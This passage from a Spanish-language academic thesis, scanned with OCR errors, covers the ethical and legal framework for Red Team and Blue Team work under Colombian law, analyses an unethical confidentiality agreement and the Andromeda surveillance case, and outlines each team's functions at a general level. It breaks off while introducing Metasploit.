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GLOSARIO

Ciberseguridad: La ciberseguridad o seguridad informatica, es el area de la
informéatica enfocada a la proteccion de las infraestructuras, proceso,
herramientas, etc. Que tengan relacién con la informacién en medio digital en
sistemas con interconexiones. Hace parte de la seguridad de la informacion.

Contencion: Medidas tomadas frente a un ataque informético con el objetivo
de evitar su propagacion. Con el objetivo de prevenir dafios mayores.

Evento: Todo suceso detectable en un sistema, servicio o red, que tenga
alguna probabilidad de comprometer las operaciones de negocio y de
amenazar la seguridad de la informacion

Hardening: Procedimiento realizado para asegurar de manera correcta un
sistema, con el objetivo de aumentar su seguridad y evitar el aprovechamiento
de sus vulnerabilidades para fines maliciosos.

Incidente de seguridad: Todo suceso que comprometa e impacte las
operaciones de negocio y con ello a la seguridad de la informacion.

Recuperacion: Acciones tomadas posterior a la contencion de un ataque
informatico, con el objetivo de restablecer las operaciones a su estado normal.

Vulnerabilidad: Se denomina vulnerabilidad a toda debilidad que puede ser
aprovechada por una amenaza. Debilidad de los activos o de sus medidas de
proteccion que facilitan el éxito de una amenaza potencial. seguridad de la
Informacién.



INTRODUCCION

En el presente trabajo da conocer los procedimiento, andlisis, caracteristicas
y metodologias que desde los equipos de seguridad Blue Team y Red Team
se realizan dentro de una organizacién, para lo cual se hace uso de un
escenario simulado que contempla una maquina objetivo y otra atacante.
Inicialmente se realiza una identificacion de los marcos éticos y legales que se
deben tener en cuenta frente a pruebas de seguridad como las realizadas por
estos equipos, se listan las funciones y metodologias tanto para los equipos
Blue Team como Red Team, seguido de un componente practico, donde por
medio de herramientas de simulacion se realiza los ejercicios de equipo Red
Team, enumeracion del objetivo, busqueda , explotacion de vulnerabilidades
y mostrando los procedimiento seguidos, Finalmente, desde el punto de vista
del equipo de respuesta o Blue Team se analiza la situacion para identificar
evidencias sobre la maquina objetivo y proponer tanto herramientas como
procesos de endurecimiento que eviten un nuevo compromiso del mismo tipo.



1. DEFINICION DEL PROBLEMA
1.1 ANTECEDENTES DEL PROBLEMA

La ciberseguridad presenta retos mas complejos, como lo presenta el informe
de Cyberthreat Defense Report a 2020 del CyberEdge Grupo?, evidencia una
efectividad del 80.7% de los ataques dirigidos para el 2020, dicho reporte es
el resultado de encuestas a mas de 1200 profesionales de la seguridad
distribuidos en 500 grandes organizaciones y por lo tanto una mirada de
primera mano desde expertos del sector. Es importante resaltar que las
motivaciones de los delincuentes informaticos son variadas, segun lo
contemplado en el informe UNIR Ciberdelincuencia® estan divididas entre
ganancias economicas, objetivos ideolégicos que buscan desacreditar
personas, compariias inclusive gobiernos, por lo tanto seran mdultiples los
vectores que se deban tener en cuenta frente al establecimiento de estrategias
que ayuden a fortalecer la seguridad informatica en las organizaciones,
contemplando tanto ataques que son de tipo externo, dirigidos, inclusive
internos propiciados de manera directa o indirecta por los mismo
colaboradores.

Los desafios a nivel regional no son distintos, indicada por el informe riesgos,
avances y el camino a seguir en América Latina y El Caribe, el banco
interamericano de desarrollo BID3,en compaiiia la organizaciéon de estados
americanos , en su ultimo informe respecto a la ciberseguridad de la regién del
afio 2020, ubica entre los niveles 1 y 2 de acuerdo con el CMM (en el que 1
significa etapa Inicial y 5 significa DindAmica o Avanzada), a la mayoria de los
paises dentro el territorio americano, por lo tanto mucho margen de mejora, en
aspectos particulares como politicas y estrategias de seguridad, cultura
cibernética y sociedad, formacion, capacitacion y habilidades de seguridad
informéatica y estrategias, organizaciones y tecnologias. Para Colombia dentro
de este mismo informe se resanan avances frente a estudios anteriores en la
generacion de politicas relacionadas a temas de ciberseguridad y formacién
capacitaciéon y habilidades de seguridad cibernética, que le dan un nivel medio
dentro del CMM, como el aspecto de mejora mas importante destaca el informe
la respuesta ante incidentes de seguridad, no solo para Colombia sino para
todos los paises den estudio.

1 America N, Asia E. 2020 Cyberthreat Defense Report. Malwarebytes [Sitio web]. 2020. [Consultada 10
octubre 2021]. Disponible en: https://cyber-edge.com/cdr/#infographic

2 Ciberdelincuencia: ¢qué es realmente y qué tipos existen? [Sitio web]. UNIR REVISTA. 2020.
[Consultada 19 octubre 2021]. Disponible en: https://www.unir.net/derecho/revista/que-es-
ciberdelincuencia/

3 Reporte Ciberseguridad 2020: riesgos, avances y el camino a seguir en América Latina y el Caribe
2020 [Sitio web]. Banco Interamericano de Desarrollo; Organizacion de los Estados Americanos 2020.
[Consultada 8 octubre de 2021]. Disponible en: https://publications.iadb.org/es/reporte-ciberseguridad-
2020-riesgos-avances-y-el-camino-a-seguir-en-america-latina-y-el-caribe.



Los desafios planteados también aplican a las organizaciones de todos los
tamafos, en donde se debe mejorara frente a falencias como, la falta de
conciencia de los usuarios en temas de ciberseguridad, planes de
identificacion, planificacion, conocimiento del entorno, anticipacion que estan
mal direccionados o inclusive son inexistentes, respuestas rapidas, efectivas y
coordinas a incidentes de seguridad identificados, son solo algunos de los
temas que al tratarse ayudan a mitigar el impacto que causan dentro de dichas
organizaciones un ataque real.

Son multiples las soluciones a estos desafios, presentados por los
ciberdelincuentes, entre los que se encuentran los equipos de seguridad
especializados Blue Team y Red Team, los cuales plantean la generacion de
escenarios de ataque y respuesta lo mas reales posibles dentro de las
organizaciones, sin embargo, y debido a que hacen parte de la estrategia
global de proteccion de la informacion de las organizaciones, se hace
necesario realizar ejercicios que ayuden a identificar claramente cuales son
los pasos y funciones que cada uno de estos grupos realizan, los resultados
de las mismas y su interaccion, de esta manera aportar un punto de
comparacién para las organizaciones que les puede ayudar a identificar los
beneficios de la implementaciones de estos equipos de seguridad.

1.2 FORMULACION DEL PROBLEMA

¢, Cudles son los pasos generados por parte de los equipos de seguridad red
team y blue team, que ayudan a fortalecer la estrategia de seguridad de las
organizaciones?



2 JUSTIFICACION

Frente a escenarios como el actual donde el uso de soluciones tecnolégicas
es cada dia mayor y con ellos los riegos a los cuales se enfrenten los usuarios,
organizaciones y naciones, segun lo presentan en datos la camara de
comercio de Bogota 4, las pedidas globales por relacionadas por delitos
informaticos se calculan alcanzan unos 6 billones de ddlares para este
presente afio 2021, lo que en comparacion representa el producto interno bruto
de la tercera economia mas grande del mundo, particularmente en la region
se tiene registro de un incremento del 139% en las transacciones sospechosos
en lo que va corrido del presente afio, demandando esfuerzos gigantescos en
los procesos de deteccidn y contencion. Esto deja en claro inicialmente que el
desafio involucra a todos los actores interesado en el uso de las tecnologias
de la informacion y que sin duda es necesarios, de no tener medidas
implementarlas rapidamente y de ya tenerlas fortalecerlas, para generar
estrategias de seguridad informética que estén al nivel de la situacién
planteada.

Es por lo tanto de esperar, que las tendencias den gastos mundiales en
soluciones de seguridad aumenten, el Worldwide Semestral Security Spending
Guide de International Data Corporation (IDC)°, estos gastos dentro de las
organizaciones tienen una tasa de crecimiento anual compuesta (CAGR) del
9.2% durante el periodo de pronéstico 2018-2022 y totalizara $ 133.8 mil
millones en 2022.

Las tendencias demuestran que las soluciones que busquen generar el
fortalecimiento de los procesos internos de la gestion de los riegos informéticos
seran cada dia mas necesarias, sin embargo y como lo menciona Rajendran®,
aquellas que busquen generar escenarios reales, mas alld de la
implementacion necesaria de medidas de proteccion, permiten enforcar los
esfuerzos de mejor manera, entra las cuales se encuentran la integracion de
equipos de seguridad Red Team y Blue Team. Es por lo tanto necesario
generar ejercicios que sirvan como soporte para idéntica los pasos que estos

4La Ciberseguridad Tras La Pandemia - Claster de Software y TI, [Sitio web]. Camara de
Comercio de Bogota, David Lopez [Consultada 19 octubre 2021]. Disponible en:
https://www.ccb.org.co/Clusters/Cluster-de-Software-y-TI/Noticias/2020/Noviembre-2020/La-
ciberseguridad-tras-la-pandemia

5 Analyze the future I. Worldwide Spending on Security Solutions Forecast to Reach $103.1
Billion in 2019, According to a New IDC Spending. [Sitio web] .2019. [Consultado 19 octubre
2020]. Disponible en: https://www.idc.com/getdoc.jsp?containerld=prUS44935119

6 Rajendran, V. Jyothi y R. Karri, "Enfoque del equipo rojo del equipo azul para la evaluaciéon
de la confianza del hardware", IEEE 29th International Conference on Computer Design
(ICCD) 2011, péags. 285-288, doi: 10.1109 / ICCD. 2011.6081410.
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equipos de seguridad desarrollan, en busqueda de clarificas sus funciones y
determinar como pueden ayudar a afrontar los desafios crecientes en materias
de ciberseguridad.

11



3 OBJETIVOS
3.1 OBJETIVOS GENERAL

Construir un documento académico que presente por medio de un escenario
simulado los procesos técnicos que ejecutan tanto los equipos de seguridad
Red Team como Blue Team para fortalecer la deteccidén y respuesta a un
ataque real.

3.2 OBJETIVOS ESPECIFICOS

e Identificar el marco éticos y legales que deben tener en cuenta los
equipos de seguridad Red Team y Blue Team frente a un escenario
propuesto.

e Identificar las funciones y metodologias utilizadas por los equipos de
seguridad Red Team y Blue Team, por medio de revisién documental
para entender las caracteristicas de cada uno.

e Ejecutar un ejercicio de Red Team generando una intrusion a sistema
propuesto dentro del escenario planteado, para plasmar los pasos
seguidos en un ataque informatico que permita tomar control del
sistema.

e Realizar un ejercicio de Blue Team que permita analizar los detalles del
proceso de intrusion generado en la fase anterior para generar
estrategias de contencion que evite un ataque del mismo tipo.

12



4  MARCO TEORICO Y DESARROLLO DE LOS OBJETIVOS

4.1 MARCO ETICOS Y LEGALES QUE DEBEN TENER EN CUENTA LOS
EQUIPOS DE SEGURIDAD RED TEAM Y BLUE TEAM ESCENARIO
DE ESTUDIO.

4.1.1 Procesos legales y no eticos en el acuerdo.

Respecto al caso de estudio en donde la empresa WhiteHouse Security,
pretende fortalecer su proceso de asesoria en aspectos de ciberseguridad a
nivel gubernamental con la implementacion de equipos de seguridad Red
Team y Blue Team. Para lo cual es necesario la contratacion de personal
especializado, por lo que genera un contrato, el cual por parte del
departamento legal fue creado, inclusive destaca que el abogado encargado
de la creacion de dicho documento fue despedido por hacer parte de proceso
ilicitos. Teniendo en cuenta que no se realizan los ajustes necesarios sigue el
proceso con el contrato y su respectiva clausula de confidencialidad, la alta
gerencia aun advierte del cuidado a tener frente a estos documentos. Luego
de una revision detallada se identifican los siguientes aspectos puntuales
sobre el acuerdo de confidencialidad que pueden ser considerados no éticos
e inclusive en algunos casos ilegales. Por lo tanto, se procede a citar
puntualmente los siguientes puntos y realizar su analisis.

e “Primera. Objeto: en virtud del presente acuerdo de confidencialidad, la
parte receptora, se obliga a no divulgar directa, indirecta, préxima a
remotamente, ni a través de ninguna otra persona o de sus subalternos
o funcionarios, autoridades legales, asesores o cualquier persona
relacionada con ella, la informacion confidencial o sobre procesos
ilegales dentro de Whitehouse Security no podran ser divulgados™.

En esta primera parte mencionada como objetivo, la organizacion exige
al contratado o llamado receptor de la informacion explicitamente
incurrir en proceso de encubrimiento frente a actividades ilegales y
fraudulentas de las cuales tenga conocimiento, por lo que se puede
considerar un apartado no ético e ilegal.

e “Cualquier informacion societaria, técnica, juridica, financiera,
comercial, de mercado, estratégica, de productos, nuevas tecnologias,
patentes, modelos de utilidad, disefios industriales, datos secretos

7 Acuerdo De Confidencialidad Entre Nombre Estudiante Y Whitehouse Security, Universidad
nacional abierta y a Distancia, 2020, Situacion Problema: Andlisis Legal, p-2, Lopez
[Consultada 2 septiembre 2021]. Disponible en:
https://campus109.unad.edu.co/echti95/pluginfile.php/680/mod_folder/content/0/Anexo0%203
%20-%20Acuerdo.pdf?forcedownload=1

13



como “datos de chuzadas, interceptacion de informacion, accesos
abusivos a sistemas informéaticos”.8

Como parte del segundo punto, llamado definiciones, realizan una
descripcion errénea de la informacion confidencial, 1o cual llevaria de
firmal al receptor de dicha informacién al incumplimiento de proceso
legales, puntualmente en interceptaciones de informacién y accesos
abusivos a sistemas informaticos si una autorizacion previa.

‘independiente de su fuente o soporte y sin que requiera advertir su
caracter confidencial.”

Como tercer punto, origen de la informacion confidencial, el acuerdo
expresa lo contenido en la cita anterior, donde se puede ver una falta
de ética y un delito al no advertir a los interesados que dicha informacion
sera recolectada y tratada bajo las normas legales segun lo estipula le
ley de proteccion de datos personales Ley 1581 de 2012, en su articulo
4°. principios para el tratamiento de datos personales, literal c, principio
de libertad, que expresa que el tratamiento de los datos solo se puede
dar previo consentimiento, previo y expreso del titular.

“‘No denunciar ante las autoridades actividades sospechosas de
espionaje o cualquier otro proceso en el cual intervenga la apropiacion
de informacion de terceros™?

“Abstenerse de denunciar y publicar la informacion confidencial e ilegal
que conozca, reciba o intercambie con ocasién de las reuniones
sostenidas”

“‘Responder por el mal uso que le den sus representantes a la
informacion confidencial”?

“Responder ante las autoridades competentes como responsable en
caso de que la informacion se encuentre en su poder dentro de un
proceso de allanamiento.”?

Dentro del Cuarto punto, obligaciones de la parte receptora numeral
3,4, 7 y 8 segun la citas anteriores, al firmar el acuerdo se esta
sometiendo el receptor de la informacién a no denunciar frente a las
autoridades las actividades sospechosas y en general ser responsable
del uso que la compafia realice con la informacién, siendo una practica
desleal debido a que no es el empleado directamente el responsable

& bid. p. 2
? Ibid. p. 3
10 |bid. p. 3
11 |bid. p. 4
12 |bid. p. 4

14



4.1.2

frente a las autoridades pertinentes, el acuerdo por lo tanto esta
descargando cualquier responsabilidad al empleado, lo cual es no ético
debido a que esa informacién es recolectada en funcién de sus labores
en la compaiiia, y esta quien debe ser la principal responsable de su
cuidado y proteccion.

‘Responsabilidad: la parte que contravenga el acuerdo sera
responsable ante la otra parte o ante los terceros de buena fe sobre los
cuales se demuestre que se han visto afectados por la inobservancia
del presente acuerdo, por los perjuicios morales y econémicos que
estos puedan sufrir como resultado del incumplimiento de las
obligaciones aqui contenidas™?

Como un sexto punto, se presenta no ética y desleal, al hacer
responsable del receptor de la informacién o empleado por toda posible
afectacion generada por las actividades que se ejecuten como parte de
su trabajo.

“Solucién de controversias: Las partes (hombre estudiante — nombre
empresa) se comprometen a esforzarse en resolver mediante los
mecanismos alternativos de soluciéon de conflictos cualquier diferencia
gue surja con motivo de la ejecucién del presente acuerdo. En caso de
que la informacién ilegal o confidencial sea encontrada en manos del
receptor este debera acudir a un abogado privado y dejar exenta de
cualquier responsabilidad legal y penal a Whitehouse Security”4

La cita anterior hace referencia al octavo punto del acuerdo, donde
claramente se expresa el actuar de la compafia frente a alguna
eventual queja o conflicto, frente a los cuales descargaran toda
responsabilidad, inclusive serd el receptor de la informacion el
encargado de su defensa al buscar un abogado privado. Esta practica
es no ética desde el punto de vista que el empleado esta realizando una
labor para la compaiiia.

“Novena. Legislacion aplicable: Este acuerdo se regira por las leyes de
la Republica de Colombia y se interpretard de acuerdo con las
mismas.”*®

Por lo anterior, el receptor de la informacion o empleado debe tener
claro que el noveno punto no expresa claramente la realidad del
documento y se encuentra violando leyes y cédigos éticos colombianos.

Articulos vulnerados CASO DE ESTUDIO LEY 1273.

13 |bid. p. 5
14 |bid. p. 5
15 |bid. p. 6
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Respecto a los apartados mencionados en el punto anterior, estos serian los
articulos de la ley 1273 de 2009%, en los cuales el receptor de la informacién
puede violar y las sanciones que acarrean.

e Articulo 2692, Acceso abusivo a un sistema informatico, con penas en
prision desde los 48 a los 96 meses y una multa de los 100 a los 1000
salarios minimos legales vigentes, el presente articulo menciona que,
al acceder de manera total o parcial a un sistema informéatico protegido,
sin una previa y expresa autorizacion, es considerado un delito y por lo
tanto ser acreedor a las sanciones mencionadas. Puntualmente se
puede incurrir en esta falla al aceptar el acuerdo del anexo 3, segundo
punto, llamado definiciones.

e Articulo 269C: Interceptacion de datos informaticos, con penas en
prision desde los 36 a los 72 meses, para realizar este tipo de accién
sobre los datos informaticos debera existir una orden judicial, esto
debido a que atenta con la privacidad de las personas, se contempla
dicha interceptacion tanto en origen, destino o ya en el interior de un
sistema informético. Puntualmente se puede incurrir en esta falla al
aceptar el acuerdo del anexo 3, segundo punto, llamado definiciones y
tercer punto, origen de la informacion confidencial.

e Articulo 269F: Violacion de datos personales. con penas en prision
desde los 48 a los 96 meses y una multa de los 100 a los 1000 salarios
minimos legales vigentes. El presente articulo tipifica como un delito el
hecho obtener, ofrecer, vender, enviar, interceptar entre otro aspecto
de la informacion. Puntualmente se puede incurrir en esta falla al
aceptar el tercer punto, origen de la informacién confidencial.

Segun lo contempla el articulo 269H: Circunstancias de agravacion punitiva,
se pueden aumentar debido a diferentes conductas, que para el caso puntual
del acuerdo analizado serian. El aprovechamiento del a confianza
proporcionada al brindar la informacién, obtener beneficios tanto personales
como para terceros en este caso tanto para el que firma el contrato como para
la empresa WhiteHouse Security y utilizar como instrumento a un tercero de
buena fe.

Es de aclarar que las diferentes sanciones indicadas pueden ser acumulativas,
en la medida que se demuestre que se incurrié en mas de una de ellas, lo que
quiere decir que un acto delictivo puede ser contemplado por uno o mas de los

16 | EY_1273_2009, Leyes Desde 1992 - Vigencia Expresa y Control de Constitucionalidad,
Senado de la republica, 2009 [Consultado 1 septiembre 2021]. Disponible en
http://www.secretariasenado.gov.co/senado/basedoc/ley 1273 2009.html
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articulos y cada uno de ellos sancionados sumando de esta manera sumando
los meses y multas monerias correspondientes.

4.1.3 procesos legales en acuerdo de estudio anexo 3.

El trabajo ofrecido por la compafiia The WhiteHouse con las condiciones ya
descritas en los puntos anteriores no solamente atenta con codigos éticos de
la profesién, sino también con aspectos legales, inclusive determinaria en un
eventual pleito legal que seria el trabajador quien deba estar frente a su
defensa con sus propios recursos econémicos pagando los gastos de
representacion que tengan lugar, es por esto que como exporto en
ciberseguridad no se recomienda acceder a la oferta aun con la propuesta
econdémica y estabilidad laborar expresada por la compafia.

Las siguientes son algunos de los apartados del coédigo de ética para el
ejercicio de la ingenieria en general sus profesiones afines y similares del
COPNIAY’, en los cuales al aceptar el contrato y su respectiva clausula de
confidencialidad se podria ver implicado el trabajador, asi como las posibles
sanciones gue este consejo profesional puede impartir al observar la actividad
no ética.

El cddigo de ética fue expedido en concordancia con la ley 842 de 200318, esta
compuesto por tres capitulos, en los cuales se presentan las divisiones
generales, los deberes y obligaciones y las inhabilidades e incompatibilidad
frente al ejercicio de la profesion de ingeniera en el territorio nacional.

Los puntos del acuerdo en las citas 1 a la 9 de este documento, estan en
contravia ética del cédigo en su capitulo Il, de los deberes y obligaciones de
los profesionales:

e Articulo 31 deberes generales de las profesiones, inciso E. Debido que
el acuerdo de la compafiia WhiteHouse compromete al receptor de la
informacion a no colaborar con los organismos de control entre ellos el
mismo consejo profesional nacional de ingenieria.

e Articulo 32, Prohibiciones generales a los profesionales, inciso B. De
igual se

17 Codigo de Etica, Consejo Profesional Nacional De Ingenieria, 1. CODIGO DE ETICA (2014),
p 20 [Consultado 10 septiembre 2021]. Disponible en
https://www.copnia.gov.co/sites/default/files/node/pagef/field_insert_file/codigo_etica.pdf

18 Consejo profesional nacional de ingenieria, ‘Ley 842 de 2003 | Copnia’, [Sitio web]., 2003,
[Consultado 1 septiembre 2021]. Disponible en https://www.copnia.gov.co/nuestra-
entidad/normatividad/ley-842-de-2003
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e promueve en el acuerdo encubrir los procesos ilegales que como parte
de su labor el empleado se vea comprometido o tenga acceso.

e Articulo 33, Deberes especiales de los profesionales con la sociedad,
inciso Ey I. El primero de ellos, se evidencia que el profesional de
ingeniera debe rechazar todo trabajo que genera afos evidentes en los
entornos, lo que va en contravia del acuerdo propuesto debido a que se
evidencia que, en presencia de algun dafio por accion del trabajador,
sera él quien deba responder frente a los afectados.

El inciso |, invita a los profesionales a abstenerse de emitir algun
concepto profesional, sin contar con la conviccion de estar debidamente
informado, en el acuerdo propuesta se evidencian varios apartados
donde no es claro cudl es el origen y tratamiento de los datos dentro de
la organizacion.

e Articulo 34, Prohibiciones especiales a los profesionales respecto a la
sociedad. En el inciso A. Dentro del cual se menciona que la prohibicién
de aceptar trabajos donde de manera explicita se evidencien que van
en contra de las disposiciones legales vigentes, lo que ocurre al aceptar
el acuerdo en anélisis.

e Atrticulo 35. Deberes de los profesionales para con la dignidad de sus
profesiones, En los incisos B y C. En el primero se destaca, un deber
hacer respetar todas los reglamentos y disposiciones legales; realizar
las denuncias al momento de evidenciar una transgresion a la mismay
en el Ultimo se deberé velar por el buen prestigio de la profesion, lo que
claramente no es respetado al momento de aceptar el acuerdo e incurrir
en faltas legales y éticas.

e Articulo 40. Prohibiciones a los profesionales respecto de sus clientes y
el publico en general. inciso A. Como una prohibicidon respecto a
prestacion de los servicios se debe evitar incurrir en practicas que sean
dudosas o de imposible cumplimiento.

Al firmar el acuerdo con la compafiia WhiteHouse Security, el profesional
estaria incurriendo como minimo en los aspectos legales descritos en los
puntos anteriores, lo que puede segun se determine acarrear las siguientes
sanciones.

e Amonestacion escrita, si es considerada como una falta leve.

e Suspension por un término maximo de 5 afios de la matricula
profesional si es considerada la falta como grabe.

e La completa cancelacion de la matricula profesional, en caso de
considerar la falta con una categoria gravisima.

Segun lo expresa el mismo codigo de ética en sus consideraciones para
determinar una falta como gravisima y analizando los detalles del acuerdo, es
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muy probable que, al ejercer el trabajo sin ninguna modificacion, el profesional
este en riego de perder su matricula y con ella la posibilidad de ejercer de
manera legar en el territorio colombiano.

4.1.4 Operacion andromeday buggly.

Buggly como se menciona por parte del periédico el tiempo'®, era un negocio
ubicado en el barrio galerias de la ciudad de Bogot4, dentro del cual se
prestaban multiples servicios, uno de ellos relacionado con sesiones de
hacking ético que buscaba atraer a personal con habilidades técnicas, crear
una comunidad de seguridad informatica donde compartir conocimiento y
experiencias del tema.

Dichas actividades posteriormente serian relacionadas con la operacion
Andromeda del ejército nacional, luego de que el lugar fuese allanado en
busqueda de evidencia frente a casos de interceptacion ilegal. El
financiamiento para las actividades que se desarrollaban segun lo menciona
en un articulo web enter.co?®, provenian de los gastos reservados del
gobierno, sin necesidad de rendicidbn de cuentas alguna, era parte de una
fachada del centro de inteligencia técnica del ejército nacional, estaba operado
por funcionarios activos de diferentes rangos dentro de dicha institucién.

Sin embargo, las tareas que se llevaron a cabo dentro de dicho
establecimiento y como se menciona en diferentes investigaciones no siempre
estaban dentro del marco legal, ejemplo de ello era el monitoreo del espectro,
gue aun cuando se asegura que alli no se hicieron interceptaciones de
comunicacién, atenta con el Articulo 269C de la ley 1273 de 2009, al no contar
con una previa autorizacién judicial, cualquier informacion fruto de dichas
interceptaciones puede ser designada como un delito. Un conjunto de tareas
adicionales contemplaba el uso de software malicioso, que como se menciona
en articulo 269E de la ley 1273 de 2009 al ser utilizadas en funcién de
actividades delictivas se puede incurrir en penas econémicas y de prision.

En general y como se describe el objetivo principal de la operacién era
consolidar una comunidad de hackers éticos, la problematica se genera
cuando se sospecha que parte de la informacion recopilada tenia una finalidad
el lucro personal de los funcionarios a cargo, que como se menciona en el

19 Informe Militar Sobre El Caso Andrémeda - Archivo Digital de Noticias de Colombia y El
Mundo Desde 1.990, [Sitio web]., Eltiempo, 2015 [Consultado 12 septiembre 2021]. Disponible
en https://lwww.eltiempo.com/archivo/documento/CMS-15141236

20 Detras de Buggly: La Historia de La Fachada Andromeda, [Sitio web].,, ENTER.CO, 2015
2015 [Consultado 12 septiembre 2021]. Disponible en
https://www.enter.co/empresas/colombia-digital/detras-de-buggly-la-historia-de-la-fachada-
andromeda
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articulo 269F de la ley 1273, es un delito al generar beneficios econémicos y
trasgrede el fin inicial.

Por dltimo, esta actividad tiene un agravante segun lo contemplado en el
Articulo 269H numeral 2, por ser servidores publicos y numera 5 por obtener
un provecho para si o para una tercera persona.

4.2 FUNCIONES Y METODOLOGIAS UTILIZADAS POR LOS EQUIPOS
DE SEGURIDAD RED TEAM Y BLUE TEAM

4.2.1 Equipos Red Team.

Las actividades del RedTeam suelen seguir el Marco MITRE ATT&CK, que es
una base de conocimiento accesible a nivel mundial de tacticas, técnicas y
métodos de adversarios basados en la experiencia y los eventos del mundo
real. EI marco sirve como base para el desarrollo de capacidades de
prevencion, deteccién y respuesta que se pueden personalizar en funcién de
las necesidades Unicas de cada organizacion y los nuevos desarrollos dentro
del panorama de amenazas.

Algunos ejemplos de actividades rojas del equipo son:

e Pruebas de penetracion en las que un miembro rojo del equipo intenta
acceder al sistema utilizando una variedad de técnicas del mundo real

e Tacticas de ingenieria social, que tienen como objetivo manipular a los
empleados u otros miembros de la red para compartir, divulgar o crear
credenciales de red

e Interceptar la comunicacion para mapear la red u obtener mas
informacion sobre el entorno para eludir las técnicas de seguridad
comunes

e Clonacion de tarjetas de acceso de un administrador para obtener

entrada a areas sin restricciones

Realizar ataques remotos a través de Internet

Tunelizacion DNS

Tunelizacién ICMP

Intentos de intrusion

Amenaza de informacion privilegiada

Ataques basados en VPN

Acceda a la copia de la tarjeta y a la prueba de fuerza

Suplantacion de identidad

Ataque HID

WAP falso

Spoofing

Procesos perezosos/rotos

Zombies/bots
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e Ataque a la seguridad fisica
e Tokens de autenticacion robados

Los pasos a seguir por un RedTeam dependeran por lo tanto de la metodologia
que elijan, sin embargo y como se puede observar en la imagen siguiente
generalmente siguen un patrén de este estilo debido a que considera todos los
pasos en el ciclo de vida de una ataque, desde un reconocimiento inicial con
herramientas y técnicas especializadas, pasando por un compromiso inicial
como un primer acceso al sistema ya sea por medio de una debilidad en los
controles de acceso fisico, por campafas de ingenieria social, phishing, entre
otras, que permita establecerse como un siguiente paso para comenzar un
ciclo continuo de escalamiento de privilegios, un nuevo reconocimiento de
objetivos desde este punto de vista interno, para iniciar de ser posible un
movimiento latera o vertical dentro de la red de la organizacién, mantener la
persistencia y su actividad delictiva la mayor cantidad de tiempo posible y
finalmente lograr generar una estrategia cumplir con su mision, la cual
generalmente sea la exfiltracion de datos sensibles de la organizacion.

llustracién 1 ciclo de vida ataques

Complete Mission

Initial Reconnalssancs

Identifty Exploitable Gain Initial Access Strengthen Position Steal Valid User Identify Target Data Package and Steal
Wulnerabilities Inta Target wiithin Target Credentials Target Data

Fuentes: Red Team Operations (RTO) - fireeye?!

Mientras que el BlueTeam esta técnicamente enfocado en la defensa, gran
parte de su trabajo es proactivo en la naturaleza. ldealmente, este equipo
identifica y neutraliza los riesgos y amenazas antes de que inflijan dafo a la
organizacion.

21Red Team Operations (RTO) Test your ability to protect your most critical assets from a real-
world targeted attack [Sitio web]. Fireeye. 2020 [Consultada 22 noviembre 2020]. Disponible
en https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/pf/ms/ds-red-team-
operations.pdf
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4.2.2 Equipos Blue Team.

El trabajo del equipo azul es la prevencion, deteccion y correccion de partes
iguales.

Las habilidades comunes para el equipo azul como los menciona crowdstrike??
y purplesec.us?? incluyen:

e Una comprension completa de la estrategia de seguridad de la
organizacion entre personas, herramientas y tecnologias

e Habilidades de andlisis para identificar con precision las amenazas mas
peligrosas y priorizar las respuestas en consecuencia

e Técnicas de endurecimiento para reducir la superficie de ataque,
especialmente en lo que se refiere al sistema de nombres de dominio
(DNS) para prevenir ataques de phishing y otras técnicas de violacion
basadas en la web

e Concienciar con las herramientas y sistemas de deteccion de seguridad
existentes en la empresa.

e Realizar auditorias DNS (servidor de nombres de dominio) para evitar
ataques de phishing, evitar problemas de DNS obsoletos, evitar el
tiempo de inactividad de las eliminaciones de registros DNS vy
prevenir/reducir los ataques web y DNS.

e Realizar analisis de huella digital para realizar un seguimiento de la
actividad de los usuarios e identificar las firmas conocidas que puedan
indicar una violacién de la seguridad.

e Instalacién de software de seguridad de endpoints en dispositivos
externos como portétiles y smartphones.

e Garantizar que los controles de acceso al cortafuegos estén
configurados correctamente y que el software antivirus se mantenga
actualizado

¢ Implementacion de software IDS e IPS como control de seguridad
preventivo y de detectives.

¢ Implementacion de soluciones SIEM para registrar e ingerir la actividad
de la red.

e Analizar registros y memoria para detectar actividad inusual en el
sistema e identificar y localizar un ataque.

e Segregar redes y asegurarse de que estan configuradas correctamente.

e Uso regular del software de analisis de vulnerabilidades.

e Proteger los sistemas mediante el uso de software antivirus o
antimalware.

e Incorporacion de la seguridad en los procesos.

22 Red Team VS Blue Team in Cybersecurity | CrowdStrike

23 Red Team VS Blue Team: What's The Difference? | PurpleSec [Sitio web]. Firch Jason. 2020
[Consultada 28 noviembre 2020]. Disponible en: https://purplesec.us/red-team-vs-blue-team-
cyber-security/
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Por lo tanto las estrategias que deben tener los blue team vendran
relacionados igualmente y como se observa en la siguiente imagen al ciclo de
vida de una amenaza pero desde el punto de vista defensivo, y en los cuales
destacan dos métricas, el MTTD o tiempo medio de deteccién que comprende
las fases de coleccion de informacion, descubrimiento de amenazas y la
cualificacion en funcion del riego para la organizacion y el MTTR o tiempo de
respuesta con sus respectivas fases de investigacion y neutralizacion frente a
un incidente previendo detectado. Por ultimo, una fase de recuperacion que
comprende las actividades necesarias para volver las operaciones a su estado
inicial, los reportes y presentacion de resultados y lecciones aprendidas que
tengan lugar.

llustracion 2 Administracion del ciclo de vida de amenazas

Time to Detect Time to Respond

Collect Discover Qualify Investigate Neutralize Recover

OWe ®@® O

Security Search Assess threat to Analyze threat to Implement
event data analytics determine risk and determine nature | countermeasures
whether full and extent of the to mitigate threat
investigation is incident and associated risk
necessary

V' Cleanup
Log & Machine v Report
machine data analytics
. /' Review
Forensic

sensor data

v Adapt

Fuente: Security Operacion Maturity Model - Logrhythm?*

4.3 EJERCICIO DE RED TEAM
4 3.1 Herramientas utilizadas.

La siguientes es la descripcion de las herramientas utilizadas en el desarrollo
del proceso de intrusion.

4.3.1.1 Metasploit.

Metasploit es un framware que permite la ejecucion completa de una prueba
de seguridad, desde la generacion de objetivos de escaneos, pasando por la
busqueda de posibles vulnerabilidades, la ejecucion de estas, mecanismos de
pos-explocion, e informes de estas actividades entre otros.

24 Security Operations Maturity Model [Sitio web]. Logrhythm.2020. Consultada 10 noviembre
2020]. Disponible en: https://logrhythm.com/security-operations-maturity-model-white-paper/
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En general la herramienta como se menciona en la pagina oficial del fabricante
rapid7%> permite adicional al proceso de reconocimiento iniciar, generar
escaneo, explotacion, pos-explotacion, mantenimiento del acceso, informes y
limpieza. Por lo anterior se puede considerar que metasploit esta alineada con
las principales fases de las metodologias de penetracion méas reconocidas.

Se encuentra disponible tanto una version libre y otra de pago que recibe el
nombre de Metasploit Pro, a diferencia de la primera alternativa dispone de
